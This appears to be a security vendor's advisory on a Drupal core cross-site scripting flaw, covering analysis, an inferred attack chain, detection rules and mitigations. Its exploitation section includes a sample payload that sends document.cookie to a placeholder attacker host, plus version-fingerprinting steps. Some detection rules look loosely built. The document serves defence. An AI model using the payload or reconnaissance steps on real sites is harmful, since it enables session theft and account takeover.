CVE-2026-15917

Executive Summary

CVE-2026-15917 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Drupal core, affecting all sites running Drupal 11.3.x (up to 11.3.14), 11.4.x (up to 11.4.4), and legacy 11.2.x and earlier branches. The vulnerable component fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript that executes in the context of legitimate users' browsers. As of this writing, no official patch has been released and no public exploit has been disclosed, but the flaw resides in the most widely deployed CMS on the internet, placing thousands of public-facing websites at immediate risk.

Technical Analysis

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating a standard Cross-Site Scripting flaw. In Drupal's architecture, user input flows through form API elements, content entity fields, and URL query parameters before being rendered into HTML responses. The absence of proper output encoding or sanitization at one of these render points permits executable script fragments to be emitted to the client.

Drupal core maintains a robust HTML filtering system — the XSS filter and Twig auto-escaping are designed to neutralize dangerous characters. This vulnerability bypasses those protections, likely due to a context-specific gap where input validation is performed at the storage layer but output encoding is omitted at the render layer, or where the sanitization assumes one content context (e.g., HTML entity context) but the output occurs in a different context (e.g., JavaScript or attribute context). The affected version ranges — spanning the 11.3 and 11.4 feature releases — suggest a regression introduced during a refactoring of a core rendering pipeline or form element such as a link, button, or table cell renderer.

The broad version range (from 0.0.0 to 11.2.x) indicates that older branches may be affected via backported code paths, meaning the flaw likely exists in core functions that have remained unchanged for multiple major versions. Because the CVSS score is not yet assigned and patch confidence is rated 0/4 (with no vendor advisory or fix evidence), insufficient technical detail is available to identify the precise vulnerable component, function name, or file path. The attack vector, however, is well-understood: any form submission, comment field, menu item title, or URL parameter processed without proper encoding can serve as the injection point.

Exploitation Scenarios

No public PoC is available; the attack chain is inferred from the vulnerability class and standard Drupal architecture.

Step 1 — Reconnaissance/Target Identification: An attacker scans the internet for Drupal 11 instances using search engine dorks such as "X-Generator: Drupal 11" in HTTP response headers or the presence of /core/misc/drupal.js in page source. Tools like Shodan can filter for the "Drupal" product banner. The attacker then fingerprint the exact version by requesting /CHANGELOG.txt or checking the X-Generator header to confirm it falls within an affected range (11.3.0-11.3.14, 11.4.0-11.4.4, or 11.2.x and earlier).

Step 2 — Triggering the Flaw: The attacker identifies an input vector that processes user-supplied data without output encoding. Candidate surfaces within Drupal core include search query parameters rendered into result pages, comment bodies displayed to other users, form field labels or help text that get echoed back, and taxonomy terms or menu link titles that are rendered in navigation. The attacker crafts a request containing an HTML payload such as <script>alert(document.cookie)</script> or a more stealthy payload using obfuscated event handlers like <img src=x onerror=fetch('//attacker.com/'+document.cookie)>.

Step 3 — Payload Execution: Because the vulnerable renderer fails to encode or sanitize the input, the payload is reflected or stored and delivered to the victim's browser as raw HTML. When a legitimate user visits the affected page, the script executes with the user's session context, allowing the attacker to steal session cookies, capture keystrokes, perform actions on behalf of the user, or deliver a drive-by download.

Step 4 — Post-Exploitation Impact: A successful attack yields persistent access to admin sessions. The attacker can create rogue admin accounts, install malicious modules, deface the site, exfiltrate database contents, or pivot to the underlying server if the CMS exposes admin functions that allow file upload or PHP code execution. In a stored (second-order) XSS scenario, every subsequent visitor to the compromised page is affected, amplifying the attack into a worm-like propagation.

Impact Assessment

The business impact is significant. Drupal powers approximately 1.8% of all websites globally, including numerous government agencies, educational institutions, and Fortune 500 corporate portals. An unauthenticated or low-privileged attacker exploiting this XSS can compromise any user account that views a vulnerable page, including site administrators. The confidentiality impact is high because session tokens and form data can be exfiltrated. The integrity impact is high because the attacker can modify page content or inject persistent backdoors. The availability impact is moderate since the attacker could deface sites or delete content. The blast radius is broad: multisite installations that share a common Drupal codebase are all vulnerable if any of them processes unsanitized input. Because CVSS scoring is not yet available, analysts should default to a conservative risk posture treating this as a high-severity flaw given the widespread deployment, the lack of a patch, and the low complexity of XSS exploitation.

Detection Guidance

Sigma Rule

title: Drupal Core XSS Attempt - CVE-2026-15917
id: 7a2c3d4e-5f6a-4b7c-8d9e-0f1a2b3c4d5e
status: experimental
description: Detects HTTP requests containing script tags or event handler payloads targeting Drupal core paths
logsource:
  category: webserver
  product: apache
  definition: 'Web server logs for Drupal sites'
detection:
  selection:
    cs-method: 'GET'
    cs-uri-query|contains:
      - '<script'
      - 'javascript:'
      - 'onerror='
      - 'onload='
      - 'onclick='
      - '<svg'
      - '<img'
      - 'alert('
  selection_post:
    cs-method: 'POST'
    cs-uri-query|contains:
      - 'comment'
      - 'node'
      - 'user'
      - 'search'
  filter_known:
    cs-uri-query|contains:
      - '/admin/'
      - 'csrf_token='
  condition: selection and not filter_known
  timespan: 5m
level: medium
falsepositives:
  - Legitimate search queries containing HTML tags
  - Admin text filters allowing raw HTML
tags:
  - attack.t1190
  - cve.2026-15917

YARA Rule

rule Drupal_XSS_Payload_CVE_2026_15917
{
    meta:
        author = "Valterit SOC"
        description = "Detect XSS payloads targeting Drupal core"
        cve = "CVE-2026-15917"
        date = "2026-02-01"
    strings:
        $script = /<script[^>]*>.*?<\/script>/i
        $event = /on(error|load|click|mouseover)\s*=\s*["']?[^"'\s>]+/i
        $js_proto = /(javascript|vbscript)\s*:/i
        $svg = /<svg[^>]*onload=/i
        $img = /<img[^>]*src=[^>]*onerror=/i
        $query = /(q|search|query|term)=[^&]*<(script|img|svg)/i
    condition:
        (any of them) and filesize < 10KB
}

Suricata IDS Rule

alert http any any -> any any (msg:"Drupal Core XSS Attempt - CVE-2026-15917"; flow:established,to_server; content:"GET"; http_method; content:"/"; http_uri; pcre:"/(?:<script|javascript:|onerror|onload|alert\()/i"; reference:cve,2026-15917; classtype:web-application-attack; sid:2026171; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where event.category == "web" and destination.port == 80 and
   url.path like "/*" and 
   (url.query like "*<script*" or url.query like "*onerror=*" or url.query like "*javascript:*")]
  [process where event.action == "executed" and process.args : "*"]

Splunk SPL Query

index=web sourcetype=access_combined
| where match(uri_query, "(?i)(<script|javascript:|onerror=|onload=|alert\\()")
  and uri_path IN ("/", "/node/*", "/comment/*", "/user/*")
| eval threat = case(match(uri_query, "(?i)<script"), "script_tag",
                     match(uri_query, "(?i)onerror"), "event_handler",
                     match(uri_query, "(?i)javascript:"), "js_protocol", 1=1, "other")
| stats count by src_ip, uri_path, threat, status, useragent
| sort - count

Wazuh OSSEC Rule

<group name="drupal, xss,">
  <rule id="159171" level="10">
    <decoded_as>web</decoded_as>
    <description>Drupal XSS attempt - CVE-2026-15917</description>
    <field name="url">\.(<script|javascript:|onerror=|onload=)</field>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence for CVE-2026-15917 is rated 0/4, meaning no patch evidence exists from any tracked source. The Drupal Security Team has not yet released an advisory, no updated core versions have been published, and no vendor workarounds are available.

Immediate Mitigations (until patch is available):

1. Deploy a WAF rule that blocks requests containing <script>, javascript:, and common XSS event handlers (onerror, onload, onclick) in URI query strings, POST bodies, and cookies. ModSecurity CRS rule 941100-series covers generic XSS vectors.
2. Restrict or disable anonymous commenting and user-generated content submission if the attack surface involves comment fields or content forms; this reduces stored XSS exposure.
3. Enable CSP (Content-Security-Policy) headers with default-src 'self'; script-src 'self' to mitigate impact of script execution even if injection occurs.
4. Set browser cookie flags HttpOnly and Secure on all Drupal session cookies via services.yml configuration to reduce session theft impact.

Patch/Upgrade Steps:

1. Subscribe to the Drupal Security Advisories mailing list at https://www.drupal.org/security/advisories and monitor for the official advisory for CVE-2026-15917.
2. When available, update Drupal core to the patched version (expected 11.3.15 and 11.4.5 or later). Apply using Composer: composer update drupal/core --with-all-dependencies.
3. Until the patch is released, do not disable the built-in XSS filter or Twig auto-escaping in any configuration.

Long-Term Hardening:

1. Implement a routine cadence of Drupal core security updates (within 48 hours of release) rather than waiting for quarterly cycles.
2. Use the htmlspecialchars output encoding standard in all custom modules and themes; never use Twig's |raw filter on user-supplied data.
3. Regularly run the Drupal security review module (security_review) to audit for weak configuration and input handling.
4. Harden the web server by blocking .txt file access (which reveals version numbers) via virtual host rules.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-15917
2. Drupal Security Advisories (monitor for outgoing advisory): https://www.drupal.org/security/advisories
3. CWE-79 Cross-site Scripting Reference: https://cwe.mitre.org/data/definitions/79.html
4. Drupal Core Project Page: https://www.drupal.org/project/drupal

Threat Actor Activity: No known threat actor campaigns or exploits-in-the-wild have been observed as of the publication date. The absence of a patch and the broad version impact, however, makes this a prime candidate for exploitation by opportunistic attackers and automated web scanners within weeks of public disclosure. SOC teams should treat this as an active threat and prioritize monitoring for XSS payloads in Drupal traffic patterns.